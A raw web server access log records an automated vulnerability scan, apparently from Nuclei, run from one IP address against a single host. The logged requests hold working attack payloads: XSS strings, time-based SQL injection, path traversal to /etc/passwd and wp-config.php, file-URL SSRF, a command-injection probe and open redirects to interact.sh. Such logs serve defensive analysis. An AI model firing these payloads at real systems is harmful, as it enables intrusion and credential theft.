[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /management HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmodule-ee/login.seam HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Api/portal/elementEcodeAddon/getSqlData?sql HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mainfile.php?username=test&password=testpoc&_login=1&Logon=%27%3Becho%20md5(TestPoc)%3B%27 HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/updraftplus/includes/ HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.wadl?detail=true HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //old_phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wt2parser.cgi?home_en HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdminOLD/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.wgetrc HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/apps/login.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slr/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/dist/images/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927585298 HTTP/1.1" -
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/json/serverinfo/* HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-app.log HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/ambience/thumb.php?src=%3Cbody%20onload%3Dalert(1)%3E.jpg HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-cli.yml HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1%27%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5202%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%28SLEEP%286%29%29%29yRVR%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%27dwQZ%27%2F%2A%2A%2FLIKE%2F%2A%2A%2F%27dwQZ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.vscode/sftp.json HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/rss-functions.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/wwtest/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/v1 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ellipsis-human-presence-technology/inc/protected-forms-table.php?page=%22%20%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/haberadam/api/mobile-info.php?id HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/install.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/readme.html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile-app/v3/?pid=77A89299&isMobile=%20clq95%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Elb1ra HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/arforms/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/modules/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmin/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?aiowpsec_do_log_out=1&after_logout=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws-config.example.json HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/email-subscribers HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/gallery-plugin/upload/php.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enginemanager/ftu/welcome.htm HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/123contactform-for-wordpress/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/styles/img/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AirWatch/Login HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModules/TNComments/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/nextgen-gallery/nggallery.php?test-head=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/iwp-client/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile-app/v3/?pid='+AND+(SELECT+6398+FROM+(SELECT(SLEEP(7)))zoQK)+AND+'Zbtn'='Zbtn&isMobile=chatbot HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.wp-config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%22%3E%3Cscript%3Ealert(`document.domain`)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adaptive-images/adaptive-images-script.php/%3Cimg/src/onerror=alert(document.domain)%3E/?debug=true HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/.git/config HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws2021/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/1-flash-gallery/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordpress-popup/views/admin/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/idx-broker-platinum/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/qards/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/qwiz-online-quizzes-and-flashcards/registration_complete.php?qname=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/prostore/go.php?https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //env.sh HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //202.181.208.139:443_db.sql HTTP/1.1" 199
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewLogin_m64?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-with-map/?status&keyword=%22%3E%3Cimg%20src=x%20onerror=(alert)(document.domain);//%22 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/smart-manager-for-wp-e-commerce/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //infos.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ct_keyword=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E&ct_city=0&ct_state=0&ct_zipcode=0&search-listings=true&ct_property_type=0&ct_beds=0&ct_baths=0&ct_price_from&ct_price_to HTTP/1.1" 3426
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/install.php?step=1 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gtranslate/url_addon/gtranslate.php?glang=en&gurl=/www.pluginvulnerabilities.com HTTP/1.1" 196
